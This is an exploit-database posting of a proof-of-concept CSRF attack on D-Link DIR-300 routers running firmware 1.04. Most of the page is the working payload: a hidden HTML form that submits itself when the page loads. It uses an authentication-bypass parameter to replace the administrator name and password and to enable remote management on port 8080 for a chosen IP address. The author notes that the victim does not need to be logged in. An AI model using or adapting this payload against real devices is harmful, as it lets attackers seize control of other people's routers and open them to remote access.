[webapps / 0day] - D-Link DIR-300 CSRF Vulnerability (Change
Posted on 17 December 2010
<!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.0 Strict//EN' 'http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd'><html xmlns='http://www.w3.org/1999/xhtml'><head><meta http-equiv='Content-Type' content='text/html; charset=utf-8' /><meta http-equiv='Content-Language' content='en' /><title>D-Link DIR-300 CSRF Vulnerability (Change Admin Account Settings) | Inj3ct0r - exploit database : vulnerability : 0day : shellcode</title><meta name='description' content='D-Link DIR-300 CSRF Vulnerability (Change Admin Account Settings) by outlaw.dll in webapps / 0day | Inj3ct0r 1337 - exploit database : vulnerability : 0day : shellcode' /><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon' /><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss' /><script type='text/javascript'>var _gaq = _gaq || [];_gaq.push(["_setAccount", "UA-12725838-1"]);_gaq.push(["_setDomainName", "none"]);_gaq.push(["_setAllowLinker", true]);_gaq.push(["_trackPageview"]);(function(){var ga = document.createElement("script"); ga.type = "text/javascript"; ga.async = true;ga.src = ("https:" == document.location.protocol ? "https://ssl" : "http://www") + ".google-analytics.com/ga.js";var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(ga, s);})();</script></head><body><pre>================================================================= D-Link DIR-300 CSRF Vulnerability (Change Admin Account Settings) ================================================================= <!-- [+] Title: D-Link DIR-300 CSRF Vuln. (Change Admin Account Settings) PoC Exploit [+] Description: Enable Remote Menagement for specific IP [+] Firmware Version: 1.04 [+] Note: No need administrator to be logged (: [+] Author: outlaw.dll [+] Date: 17.12.2010 [+] Tested on: Windows 7 Ultimate (Google Chrome) but will work in any other OS This firmware version is full of CSRF and other type of vulnerabilities. W_o.O_W --> <form name="exploit" action="http://server/tools_admin.php?NO_NEED_AUTH=1&AUTH_GROUP=0" method="post"> <input type="hidden" name="ACTION_POST" value="1" /> <input type="hidden" name="admin_name" value="outlaw.dll" /> <input type="hidden" name="admin_password1" value="1337" /> <input type="hidden" name="admin_password2" value="1337" /> <input type="hidden" name="rt_enable_h" value="1" /> <input type="hidden" name="rt_port" value="8080" /> <input type="hidden" name="rt_ipaddr" value="192.168.0.1337" /> </form> <script>document.exploit.submit();</script> # <a href='http://1337db.com/'>1337db.com</a> [2010-12-17]</pre></body></html>